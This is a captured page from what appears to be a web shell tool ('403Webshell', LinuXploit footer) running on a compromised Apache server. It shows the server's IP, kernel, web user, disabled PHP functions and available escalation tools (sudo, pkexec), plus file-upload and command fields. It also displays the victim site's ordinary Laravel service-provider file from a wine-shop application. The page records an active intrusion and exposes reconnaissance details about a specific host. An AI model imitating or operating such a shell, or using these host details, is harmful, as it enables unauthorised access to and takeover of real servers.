403Webshell
Server IP : 54.94.228.101  /  Your IP : 172.28.1.13
Web Server : Apache
System : Linux ip-172-28-29-189 6.5.0-1014-aws #14~22.04.1-Ubuntu SMP Thu Feb 15 15:27:06 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.2.34-43+ubuntu22.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/vinumday2_0/app/Providers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/vinumday2_0/app/Providers/AppServiceProvider.php
<?php

namespace App\Providers;

use Illuminate\Support\ServiceProvider;

use App\Modules\PedidoVenda\Models\PedidoVenda;
use App\Modules\PedidoVendaHasProduto\Models\PedidoVendaHasProduto;
use App\Modules\PedidoEntrega\Models\PedidoEntrega;
use App\Modules\PedidoEntregaHasStatus\Models\PedidoEntregaHasStatus;
use App\Modules\PedidoVendaHistorico\Models\PedidoVendaHistorico;
use App\Modules\Cadastro\Models\Cadastro;
use App\Modules\Newsletter\Models\Newsletter;
use App\Modules\Produto\Models\Produto;
use App\Modules\ProdutoCaracteristica\Models\ProdutoCaracteristica;
use App\Modules\CadastroCartao\Models\CadastroCartao;
use App\Modules\CadastroEndereco\Models\CadastroEndereco;
use App\Modules\Oferta\Models\Oferta;
use App\Modules\OfertaReserva\Models\OfertaReserva;
use App\Modules\CanalHasOferta\Models\CanalHasOferta;
use App\Modules\Adega\Models\Adega;
use App\Modules\AdegaHasPedidoVenda\Models\AdegaHasPedidoVenda;
use App\Modules\RequisicaoCompra\Models\RequisicaoCompra;
use App\Modules\OrdemCompra\Models\OrdemCompra;
use App\Modules\OrdemCompraItem\Models\OrdemCompraItem;

use App\Modules\ConfrariaConvite\Models\ConfrariaConvite;
use App\Modules\Confraria\Models\Confraria;
use App\Modules\AdegaViradaCupom\Models\AdegaViradaCupom;
use App\Modules\AdegaViradaParticipanteIndicacao\Models\AdegaViradaParticipanteIndicacao;



use App\Events\PedidoVendaEvent;
use App\Events\PedidoVendaHasProdutoEvent;
use App\Events\PedidoEntregaEvent;
use App\Events\PedidoEntregaHasStatusEvent;
use App\Events\PedidoVendaHistoricoEvent;
use App\Events\CadastroEvent;
use App\Events\NewsletterEvent;
use App\Events\ProdutoEvent;
use App\Events\ProdutoCaracteristicaEvent;
use App\Events\CadastroCartaoEvent;
use App\Events\CadastroEnderecoEvent;
use App\Events\OfertaEvent;
use App\Events\OfertaReservaEvent;
use App\Events\CanalHasOfertaEvent;
use App\Events\AdegaEvent;
use App\Events\AdegaHasPedidoVendaEvent;
use App\Events\RequisicaoCompraEvent;
use App\Events\OrdemCompraEvent;
use App\Events\OrdemCompraItemEvent;
use App\Events\ConfrariaEvent;
use App\Events\ConfrariaConviteEvent;
use App\Events\AdegaViradaCupomEvent;
use App\Events\AdegaViradaParticipanteIndicacaoEvent;




class AppServiceProvider extends ServiceProvider
{
    /**
     * Bootstrap any application services.
     *
     * @return void
     */


    public function boot()
    {
         try {

            date_default_timezone_set('America/Sao_Paulo');
            setlocale(LC_TIME, 'pt-br');
            
            # your code should be here
            PedidoVenda::observe(PedidoVendaEvent::class);
            PedidoEntrega::observe(PedidoEntregaEvent::class);
            PedidoEntregaHasStatus::observe(PedidoEntregaHasStatusEvent::class);
            PedidoVendaHistorico::observe(PedidoVendaHistoricoEvent::class);
            PedidoVendaHasProduto::observe(PedidoVendaHasProdutoEvent::class);
            Cadastro::observe(CadastroEvent::class);
            Newsletter::observe(NewsletterEvent::class);
            Produto::observe(ProdutoEvent::class);
            ProdutoCaracteristica::observe(ProdutoCaracteristicaEvent::class);
            CadastroCartao::observe(CadastroCartaoEvent::class);
            CadastroEndereco::observe(CadastroEnderecoEvent::class);
            Oferta::observe(OfertaEvent::class);
            OfertaReserva::observe(OfertaReservaEvent::class);
            CanalHasOferta::observe(CanalHasOfertaEvent::class);
            Adega::observe(AdegaEvent::class);
            AdegaHasPedidoVenda::observe(AdegaHasPedidoVendaEvent::class);
            RequisicaoCompra::observe(RequisicaoCompraEvent::class);
            OrdemCompra::observe(OrdemCompraEvent::class);
            OrdemCompraItem::observe(OrdemCompraItemEvent::class);
            Confraria::observe(ConfrariaEvent::class);
            ConfrariaConvite::observe(ConfrariaConviteEvent::class);
            AdegaViradaCupom::observe(AdegaViradaCupomEvent::class);
            AdegaViradaParticipanteIndicacao::observe(AdegaViradaParticipanteIndicacaoEvent::class);

               

        } catch (\PDOException $e) {
            // return redirect('/manutencao');
            # do something or render a custom error page
            /*echo "<pre style='text-align:left'>";
            print_r('caiu');
            die;*/
        }

        //
        if(env('APP_ENV') == 'production') {
            \URL::forceScheme('https');
            $this->app['request']->server->set('HTTPS','on');
        }
    }

    /**
     * Register any application services.
     *
     * @return void
     */
    public function register()
    {
        //
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit